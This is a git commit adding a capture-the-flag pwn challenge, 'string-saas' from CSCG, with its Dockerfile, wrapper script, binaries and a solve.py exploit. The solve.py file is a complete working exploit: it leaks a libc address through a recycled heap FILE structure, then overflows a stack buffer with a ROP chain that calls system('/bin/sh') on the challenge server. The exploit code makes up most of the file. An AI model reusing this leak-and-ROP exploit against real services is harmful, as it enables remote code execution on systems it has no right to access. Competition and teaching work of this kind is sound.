cleanup
This commit is contained in:
36
2026/cscg/pwn/string-saas/Dockerfile
Normal file
36
2026/cscg/pwn/string-saas/Dockerfile
Normal file
@@ -0,0 +1,36 @@
|
||||
FROM ubuntu:jammy-20240125@sha256:bcc511d82482900604524a8e8d64bf4c53b2461868dac55f4d04d660e61983cb
|
||||
|
||||
ADD --chmod=0755 --checksum=sha256:4c97fd03a3b181996b1473f3a99b69a1efc6ecaf2b4ede061b6bd60a96b9325a \
|
||||
https://raw.githubusercontent.com/reproducible-containers/repro-sources-list.sh/v0.1.0/repro-sources-list.sh \
|
||||
/usr/local/bin/repro-sources-list.sh
|
||||
|
||||
RUN \
|
||||
--mount=type=cache,target=/var/cache/apt,sharing=locked \
|
||||
--mount=type=cache,target=/var/lib/apt,sharing=locked \
|
||||
/usr/local/bin/repro-sources-list.sh && \
|
||||
apt-get update && apt-get install -y \
|
||||
make xz-utils gcc unzip file sudo
|
||||
|
||||
WORKDIR /app
|
||||
|
||||
ADD --chmod=0666 --checksum=sha256:4300f2fbc3996bc389d3c03a74662bfff3106ac1930942c5bd27580c7ba5053d \
|
||||
https://yx7.cc/code/ynetd/ynetd-0.1.2.tar.xz \
|
||||
/app/ynetd-0.1.2.tar.xz
|
||||
|
||||
RUN tar -xJf /app/ynetd-0.1.2.tar.xz && cd ynetd-0.1.2 && make
|
||||
|
||||
ADD --chmod=0600 getflag.c .
|
||||
ADD --chmod=0755 run.sh .
|
||||
COPY Makefile string-saas.c .
|
||||
RUN make string-saas getflag
|
||||
RUN rm getflag.c string-saas.c
|
||||
|
||||
RUN sha256sum string-saas
|
||||
RUN echo 62350b02e19b9535e3e8e7e34792ac4c2cd1f86bc8563a9b6c4d24305ab48331 string-saas | sha256sum --check
|
||||
|
||||
RUN mkdir /app/tmp
|
||||
RUN chmod 777 /app/tmp
|
||||
|
||||
EXPOSE 1024
|
||||
CMD [ "/app/ynetd-0.1.2/ynetd", "-si", "y", "-so", "y", "-se", "y", \
|
||||
"-p", "1024", "-d", "/app", "/app/string-saas" ]
|
||||
BIN
2026/cscg/pwn/string-saas/ld-2.35.so
Executable file
BIN
2026/cscg/pwn/string-saas/ld-2.35.so
Executable file
Binary file not shown.
BIN
2026/cscg/pwn/string-saas/libc.so.6
Executable file
BIN
2026/cscg/pwn/string-saas/libc.so.6
Executable file
Binary file not shown.
8
2026/cscg/pwn/string-saas/run.sh
Executable file
8
2026/cscg/pwn/string-saas/run.sh
Executable file
@@ -0,0 +1,8 @@
|
||||
#!/bin/bash
|
||||
|
||||
unzip -qnd tmp "$1"
|
||||
for f in $(zipinfo -1 "$1"); do
|
||||
[ -L "tmp/$f" ] && continue
|
||||
file "tmp/$f" | grep -q ELF && \
|
||||
sudo -u nobody strings "tmp/$f" | grep -v CSCG # no fleg
|
||||
done
|
||||
185
2026/cscg/pwn/string-saas/solve.py
Normal file
185
2026/cscg/pwn/string-saas/solve.py
Normal file
@@ -0,0 +1,185 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Exploit for string-saas (CSCG CTF)
|
||||
===================================
|
||||
Vulns:
|
||||
1) Heap info-leak via FILE-struct recycling in analyze()
|
||||
2) Stack buffer overflow in main (fgets 64 into buf[32])
|
||||
|
||||
Mitigations: Full RELRO, PIE, NX, no canary.
|
||||
Server: ynetd (fork-based → stable ASLR per restart).
|
||||
|
||||
Step 1 – Leak libc via analyze()
|
||||
• First analyze(): send a valid ZIP → fopen/fclose puts a freed
|
||||
locked_FILE struct into a tcache bin.
|
||||
• Second analyze(): send base64 that decodes to exactly 464 bytes
|
||||
of non-null, non-ZIP data. decode()'s malloc recycles the freed
|
||||
FILE chunk. The decoded 464 bytes overwrite the chunk's front;
|
||||
the _IO_wide_data._wide_vtable pointer at offset 464 survives
|
||||
untouched. fprintf(stderr, "Not a ZIP: %s\n", buf) prints past
|
||||
our data and leaks the vtable pointer (_IO_wfile_jumps).
|
||||
|
||||
Step 2 – ROP via buffer overflow
|
||||
Payload (63 bytes, NO embedded 0x0a):
|
||||
32 B padding | 8 B fake rbp | 8 B pop_rdi;ret |
|
||||
8 B &"/bin/sh" | 7 B do_system+2
|
||||
fgets's NUL terminator supplies byte 7 of the last address (0x00).
|
||||
Immediately after the 63 raw bytes we append b"exit\n".
|
||||
• fgets #1 reads the 63-byte ROP blob (no newline → stops at n-1=63).
|
||||
• fgets #2 reads "exit\n" into buf[0..4] without touching buf[40..63].
|
||||
• main does leave;ret → pop rdi → "/bin/sh" → do_system+2 → shell!
|
||||
|
||||
We jump to do_system+2 (skipping `push r15`) to fix 16-byte stack
|
||||
alignment that system()'s movaps [rsp] requires.
|
||||
"""
|
||||
|
||||
from pwn import *
|
||||
import base64, zipfile, io, sys
|
||||
|
||||
# ── CONFIG ────────────────────────────────────────────────────────
|
||||
REMOTE_HOST = "t5b46wguuorhymil3pq25tocmk-1024-string-saas.challenge.cscg.live" # set e.g. "pwn.cscg.live"
|
||||
REMOTE_PORT = 443 # set e.g. 1024
|
||||
|
||||
# Offsets for the *provided* libc (Ubuntu GLIBC 2.35-0ubuntu3.6)
|
||||
LIBC_IO_WFILE_JUMPS = 0x2170c0
|
||||
LIBC_POP_RDI = 0x2a3e5
|
||||
LIBC_BINSH = 0x1d8678
|
||||
LIBC_DO_SYSTEM_P2 = 0x50902 # do_system+2, skips push r15 for alignment
|
||||
|
||||
LEAK_DECODE_SIZE = 464 # decoded bytes that recycle the FILE chunk
|
||||
# ──────────────────────────────────────────────────────────────────
|
||||
|
||||
context.binary = ELF('./string-saas_patched', checksec=False)
|
||||
context.log_level = 'info'
|
||||
|
||||
# Override with local libc if running locally
|
||||
USE_LOCAL = (REMOTE_HOST is None)
|
||||
if USE_LOCAL:
|
||||
_libc = ELF('./libc.so.6', checksec=False)
|
||||
LIBC_IO_WFILE_JUMPS = _libc.symbols['_IO_wfile_jumps']
|
||||
LIBC_POP_RDI = ROP(_libc, badchars=b'\n').find_gadget(['pop rdi', 'ret'])[0]
|
||||
LIBC_BINSH = next(_libc.search(b'/bin/sh\x00'))
|
||||
# find do_system jmp target
|
||||
import subprocess as _sp
|
||||
_r = _sp.run(['objdump','-d','-M','intel',
|
||||
f'--start-address={hex(_libc.symbols["system"])}',
|
||||
f'--stop-address={hex(_libc.symbols["system"]+20)}',
|
||||
'/lib/x86_64-linux-gnu/libc.so.6'], capture_output=True, text=True)
|
||||
for _line in _r.stdout.split('\n'):
|
||||
if 'jmp' in _line and ':' in _line:
|
||||
for _tok in _line.split():
|
||||
try:
|
||||
_v = int(_tok, 16)
|
||||
if _v > 0x10000:
|
||||
LIBC_DO_SYSTEM_P2 = _v + 2
|
||||
except: pass
|
||||
log.info(f"Local offsets: wfile=0x{LIBC_IO_WFILE_JUMPS:x} pop_rdi=0x{LIBC_POP_RDI:x} "
|
||||
f"binsh=0x{LIBC_BINSH:x} dosys2=0x{LIBC_DO_SYSTEM_P2:x}")
|
||||
|
||||
def conn():
|
||||
if REMOTE_HOST:
|
||||
return remote(REMOTE_HOST, REMOTE_PORT, ssl=True)
|
||||
else:
|
||||
return process('./string-saas_patched', stderr=STDOUT)
|
||||
|
||||
def make_zip_b64():
|
||||
buf = io.BytesIO()
|
||||
with zipfile.ZipFile(buf, 'w') as zf:
|
||||
zf.writestr('t.txt', 'A')
|
||||
return base64.b64encode(buf.getvalue())
|
||||
|
||||
def do_leak(p):
|
||||
"""
|
||||
Leak _IO_wfile_jumps address via FILE-struct recycling.
|
||||
Returns the leaked libc address or None.
|
||||
"""
|
||||
b64_zip = make_zip_b64()
|
||||
|
||||
# 1) Valid ZIP → triggers fopen / fwrite / fclose
|
||||
p.sendline(b'analyze')
|
||||
p.recvuntil(b'ZIP:')
|
||||
p.sendline(b64_zip)
|
||||
p.recvuntil(b'> ')
|
||||
|
||||
# 2) Non-ZIP → recycled FILE chunk leaks via fprintf %s
|
||||
raw = b'\x41' * LEAK_DECODE_SIZE # 464 bytes of 'A'
|
||||
p.sendline(b'analyze')
|
||||
p.recvuntil(b'ZIP:')
|
||||
p.sendline(base64.b64encode(raw))
|
||||
resp = p.recvuntil(b'> ', timeout=5)
|
||||
|
||||
if b'Not a ZIP: ' not in resp:
|
||||
return None
|
||||
start = resp.index(b'Not a ZIP: ') + len(b'Not a ZIP: ')
|
||||
end = resp.index(b'\n', start)
|
||||
data = resp[start:end]
|
||||
extra = data[LEAK_DECODE_SIZE:]
|
||||
|
||||
if len(extra) < 6:
|
||||
return None
|
||||
return u64(extra[:6].ljust(8, b'\x00'))
|
||||
|
||||
|
||||
# ── MAIN ──────────────────────────────────────────────────────────
|
||||
MAX_LEAK_TRIES = 50
|
||||
|
||||
for attempt in range(1, MAX_LEAK_TRIES + 1):
|
||||
p = conn()
|
||||
p.recvuntil(b'> ')
|
||||
|
||||
leaked = do_leak(p)
|
||||
if leaked is None:
|
||||
log.info(f"Attempt {attempt}/{MAX_LEAK_TRIES}: leak too short, retrying…")
|
||||
p.close()
|
||||
continue
|
||||
|
||||
libc_base = leaked - LIBC_IO_WFILE_JUMPS
|
||||
if libc_base & 0xfff:
|
||||
log.warn(f"Attempt {attempt}: base not page-aligned (0x{libc_base:x}), retrying…")
|
||||
input()
|
||||
p.close()
|
||||
continue
|
||||
|
||||
log.success(f"libc base = 0x{libc_base:x}")
|
||||
|
||||
pop_rdi = libc_base + LIBC_POP_RDI
|
||||
binsh = libc_base + LIBC_BINSH
|
||||
dosys2 = libc_base + LIBC_DO_SYSTEM_P2
|
||||
|
||||
# Build 63-byte ROP blob
|
||||
payload = b'A' * 32 # input_buf (32 B)
|
||||
payload += b'B' * 8 # saved rbp (don't care)
|
||||
payload += p64(pop_rdi) # saved rip → pop rdi; ret
|
||||
payload += p64(binsh) # → "/bin/sh"
|
||||
payload += p64(dosys2)[:7] # → do_system+2 (byte 7 = \0 by fgets)
|
||||
|
||||
assert len(payload) == 63, f"payload len {len(payload)} != 63"
|
||||
|
||||
if b'\x0a' in payload:
|
||||
log.warn(f"Attempt {attempt}: 0x0a in ROP payload (bad ASLR luck). "
|
||||
"Need server restart for new layout.")
|
||||
p.close()
|
||||
# On a fork server the layout is fixed until restart.
|
||||
# If running locally each process() gives new ASLR.
|
||||
continue
|
||||
|
||||
log.info("Sending overflow + 'exit' trigger…")
|
||||
p.send(payload + b'exit\n')
|
||||
p.recvuntil(b'ok, bye!')
|
||||
log.success("main returned → ROP chain executing")
|
||||
|
||||
# Give the shell a moment to start
|
||||
import time; time.sleep(0.2)
|
||||
p.sendline(b'echo "SHELL_OK"')
|
||||
try:
|
||||
p.recvuntil(b'SHELL_OK', timeout=3)
|
||||
log.success("Got shell!")
|
||||
except EOFError:
|
||||
log.warn("Shell died — alignment or constraint issue")
|
||||
p.close()
|
||||
continue
|
||||
|
||||
p.interactive()
|
||||
break
|
||||
else:
|
||||
log.failure(f"Failed after {MAX_LEAK_TRIES} attempts")
|
||||
BIN
2026/cscg/pwn/string-saas/string-saas
Executable file
BIN
2026/cscg/pwn/string-saas/string-saas
Executable file
Binary file not shown.
BIN
2026/cscg/pwn/string-saas/string-saas.id0
Normal file
BIN
2026/cscg/pwn/string-saas/string-saas.id0
Normal file
Binary file not shown.
BIN
2026/cscg/pwn/string-saas/string-saas.id1
Normal file
BIN
2026/cscg/pwn/string-saas/string-saas.id1
Normal file
Binary file not shown.
BIN
2026/cscg/pwn/string-saas/string-saas.id2
Normal file
BIN
2026/cscg/pwn/string-saas/string-saas.id2
Normal file
Binary file not shown.
BIN
2026/cscg/pwn/string-saas/string-saas.nam
Normal file
BIN
2026/cscg/pwn/string-saas/string-saas.nam
Normal file
Binary file not shown.
BIN
2026/cscg/pwn/string-saas/string-saas.til
Normal file
BIN
2026/cscg/pwn/string-saas/string-saas.til
Normal file
Binary file not shown.
BIN
2026/cscg/pwn/string-saas/string-saas_patched
Executable file
BIN
2026/cscg/pwn/string-saas/string-saas_patched
Executable file
Binary file not shown.
1
2026/cscg/pwn/string-saas/tmp/t.txt
Normal file
1
2026/cscg/pwn/string-saas/tmp/t.txt
Normal file
@@ -0,0 +1 @@
|
||||
A
|
||||
BIN
2026/cscg/pwn/string-saas/tmp/tmp.zip
Normal file
BIN
2026/cscg/pwn/string-saas/tmp/tmp.zip
Normal file
Binary file not shown.
Reference in New Issue
Block a user